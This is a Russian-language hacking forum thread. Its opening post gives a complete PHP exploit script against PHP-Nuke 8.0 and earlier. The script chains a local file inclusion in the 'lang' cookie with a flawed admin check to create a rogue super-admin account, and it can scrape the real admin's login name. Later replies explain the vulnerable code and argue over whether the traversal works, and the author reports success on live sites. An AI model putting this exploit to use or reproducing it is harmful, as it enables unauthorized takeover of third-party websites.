PHP-nuke <= 8.0 final exploit

Discussion in 'Уязвимости' started by uNLike, 12 Apr 2007.

  1. uNLike

    uNLike Member

    Joined:
    11 Apr 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Написал на днях тут эксплоит на nuke использовал уже известную уезвимость в куках, и также недочет в авторизации админа. Позволяее добавить своего админа. Вроде похожих сплоитов негде еше пока не видел. Строго не судите всеж первый сплоит мой:)
    Поиск администратора писал в чисто учебно позновательных целей практика показала что быстрее вомного раз найти его ручками.
    Сильно тож я его не потестил, на localhost точно работает:))
    PS: И функции из какого-то сплоита взял я еше:)
    PHP:
    <?  //exploit for PHP-nuke <=8.0 Final
        //Coded by: uNlike
        //local include in cookie "lang"

        
    Error_Reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
        
    $login="";                            // user login (if you know super admin login not write)
        
    $password="";                         // user password (if you know super admin login not write)
        
    $admin_login="admin";                 // super admin login
        
    $admin_file="admin";                  // path to admin panel admin  http://www.target.com/include/admin.php => "include/admin"
        
    $host="http://www.target.com";        // target site
        
    $cookie_file_path "/tmp/cookie";    // for my opinuion, you can to set other
        
    $agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
        
    /////////////////
       
    $cookie="";
       if (!
    $admin_login)
       {
           echo 
    "Login...<br>";
           
    $url=$host."/modules.php?name=Your_Account";
           
    $reffer=$host."/index.php";
           
    $post['op']="login";
           
    $post['username']=$login;
           
    $post['user_password']=$password;
           
    $result=query($url,$agent,$proxy,$reffer,$cookie_file_path,$post,"");
           
    $cook=getcookiee($result);
           foreach (
    $cook as $k=>$v) { $cookie[$k]=$v;  }
           if (
    strpos($result,'name="username" size="15" maxlength="25')) {echo "<b>Login or password is invalid</b>"; exit;}
           echo 
    "Find superadmin...<br>";
           
    $url=$host."/modules.php?name=Members_List";
           
    $cookie_base="";
           foreach ( 
    $cookie as $k=>$v ) { $cookie_base.= $k."=".$v."; "; }
           for(
    $time=time()+2;$time>time();){echo ".";}
           
    $result=query($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_base);
           if (!
    strpos($result,'&op=logout&redirect=Forums'))  {echo "<b>Super admin login was not found</b>"; exit; }
           
    $start=strpos($result,'viewprofile&amp;u=2');
           
    $str=substr($result,$start+28,30);
           
    $start=strpos($str,'>')+1;
           
    $end=strpos($str,'<');
           
    $len=$end-$start;
           
    $admin_login=substr($str,$start,$len);
           echo
    "Super admin login is <b>$admin_login</b>...<br>";
       }



        
    $cookie="";
        echo 
    "Exploiting...<br>";
        
    $url=$host."/admin.php?aid=".$admin_login."&op=AddAuthor&add_aid=test&add_name=god&[email protected]&add_pwd=test&add_radminsuper=1";
        
    $reffer=$host;
        
    $cookie_add="admin=1; lang=russian.php/../../admin/modules/authors;";
        
    $result=query($url,$agent,"",$reffer,"/tmp/cook","",$cookie_add);
        
    $url=$host."/".$admin_file.".php";
        
    $reffer=$host."/".$admin_file.".php";
        
    $post['op']="login";
        
    $post['aid']="test";
        
    $post['pwd']="test";
        for(
    $time=time()+2;$time>time();){echo ".";}
        
    $result=query($url,$agent,$proxy,$reffer,"/tmp/cook",$post,$cookie_add);
        if (!
    strpos($result,'_MODULESADMIN'))  {echo "<b>Error exploiting</b>"; exit; }
        echo 
    "Super admin was creat:<br> Login: <b>test</b><br> Password: <b>test</b>";





     function 
    query($url,$agent,$proxy,$reffer,$cookie_file_path,$post,$cookie) {
           
    $ch curl_init ();
           
    curl_setopt ($chCURLOPT_URL$url);
           
    curl_setopt($chCURLOPT_USERAGENT$agent);
           
    curl_setopt($chCURLOPT_SSL_VERIFYHOST,  0);
           
    curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
           if (
    $post!="") {
                    
    curl_setopt($chCURLOPT_POST1);
                    
    curl_setopt($chCURLOPT_POSTFIELDS$post);
                 }
           
    curl_setopt ($chCURLOPT_TIMEOUT120);
           
    curl_setopt ($chCURLOPT_PROXY$proxy);
           
    curl_setopt ($chCURLOPT_PROXYTYPECURLPROXY_SOCKS5);
           
    curl_setopt ($chCURLOPT_RETURNTRANSFERTRUE);
           
    curl_setopt ($chCURLOPT_FAILONERRORfalse);
           
    curl_setopt ($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_REFERER$reffer);
           
    curl_setopt($chCURLOPT_COOKIE$cookie);
           
    curl_setopt($chCURLOPT_COOKIEFILE$cookie_file_path);
           
    curl_setopt($chCURLOPT_COOKIEJAR$cookie_file_path);
           
    curl_setopt($chCURLOPT_HEADER1);
           
    $result curl_exec($ch);
           
    $error=curl_errno($ch);
           
    curl_close ($ch);
           if (
    $error$result="Fucking Error: ".$error."\r\n";
           if (
    $error==7$result=$result." Failed to connect() to host or proxy.\r\n";
           if (
    $error==28$result=$result." Operation timeout. The specified time-out period was reached according to the conditions.\r\n";
           if (
    $error==22$result=$result." Sorry, Unable to process request at this time, Please try again later.\r\n";
           return 
    $result;
    }

     function 
    getcookiee($result) {
       
    $res explode("\n",$result);
       foreach (
    $res as $k=>$v ) {
        if (
    ereg("Set-Cookie",$v)) {
          
    $c_a explode(";",trim(str_replace("Set-Cookie:","",$v)));
          foreach (
    $c_a as $k=>$v ) {
                  if (!(
    ereg("expires",$v))) {
                   
    $arr=explode("=",trim($v));
                   
    $cook[trim($arr[0])]=trim($arr[1]);
                  }
              }
        }
      }
    return 
    $cook;
    }
    ?>
     
    4 people like this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Вобщем зачем, еще не пробовал. Посмотрел, сделал из нескольких сплойтов. Только на некоторых сайтах стоят зашиты от команд "ор" "pwd" и т.д. + еще не всегда стоит стандартый форум. Попробую еще напишу
     
  3. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    по подробнее здесь - ссылки дай

    + по возможности распиши уязвимый код.
     
  4. uNLike

    uNLike Member

    Joined:
    11 Apr 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Понял все кроме причем тут форум? атака идет прямо на админку. И интересно как будет логинится админ если отключить эти каманды "ор" "pwd" ? Пробовал с сентенелем да чето там он загнал не стал разбиратся.
    В конце концов сплоит же чисто на нюку:) А че там еше можно накрутить можно хоть весь движек перекроить.

    Ссылка на уезвимость http://www.securitylab.ru/vulnerability/292584.php
    Уезвимость сушествует во всех фаилах admin\modules так как там провереется лиш логин админа и яаляется ли он супер админом
    PHP:
    if (!defined('ADMIN_FILE')) {
        die (
    "Access Denied");
    }

    global 
    $prefix$db$admin_file;
    $aid substr("$aid"0,25);
    $row $db->sql_fetchrow($db->sql_query("SELECT name, radminsuper FROM " $prefix "_authors WHERE aid='$aid'"));
    if ((
    $row['radminsuper'] == 1) && ($row['name'] == 'God')) {

    блогадоря локальному инклуду мы можем обойти данное ограничение
    PHP:
    if (!defined('ADMIN_FILE')) {
        die (
    "Access Denied");
    }
    так как в admin.php при запуске она сразу define('ADMIN_FILE', true);
    и затем так же не проверяется значение переменно admin проверяется лиш ее сушествование
     
    #4 uNLike, 12 Apr 2007
    Last edited: 12 Apr 2007
  5. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423

    Если не ошибаюсь
    http://seclists.org/bugtraq/2007/Mar/0154.html

    PHP:
    } elseif (isset($lang)) {           include_once("language/lang-".$lang.".php"); // This can be exploited by malicious users: ex: /../../robots.txt%00 Multilingual Options=OFF           $currentlang = $lang; // This can be exploited by malicious users. ex:SQL Injection in Top and News Module ($currentlang) Multilingual Options = On   } else {
    И блинд еще
    http://www.securitylab.ru/poc/extra/292245.php
     
    _________________________
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    у нас тут спор - как это может работать:

    lang=russian.php/../../admin/modules/authors;

    кто утверждает, что так работает. кто-то - что нет и не может работать.
    мой личный тест - отрицателен.

    есть мнения?
     
  7. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    может.
    Только что протестировал на локале.

    Главное существование файла либо директории, т.е. файл тоже подходит

    Пример

    1.txt
    Code:
    cool
    1.php
    PHP:
    <? 
     
    $bag file_get_contents("1.php/../1.txt");
      die(
    $bag);  
    ?>
    На выводе имеем
    Code:
    cool
    Только выход из файла в текущую директорию получается через ../ а не через ./
     
    _________________________
    #7 madnet, 12 Apr 2007
    Last edited: 12 Apr 2007
  8. uNLike

    uNLike Member

    Joined:
    11 Apr 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Тестировал на денвере с php4 100% работает.
    Также проверял в инете на сайтах 2 из 3 получилось.
     
    1 person likes this.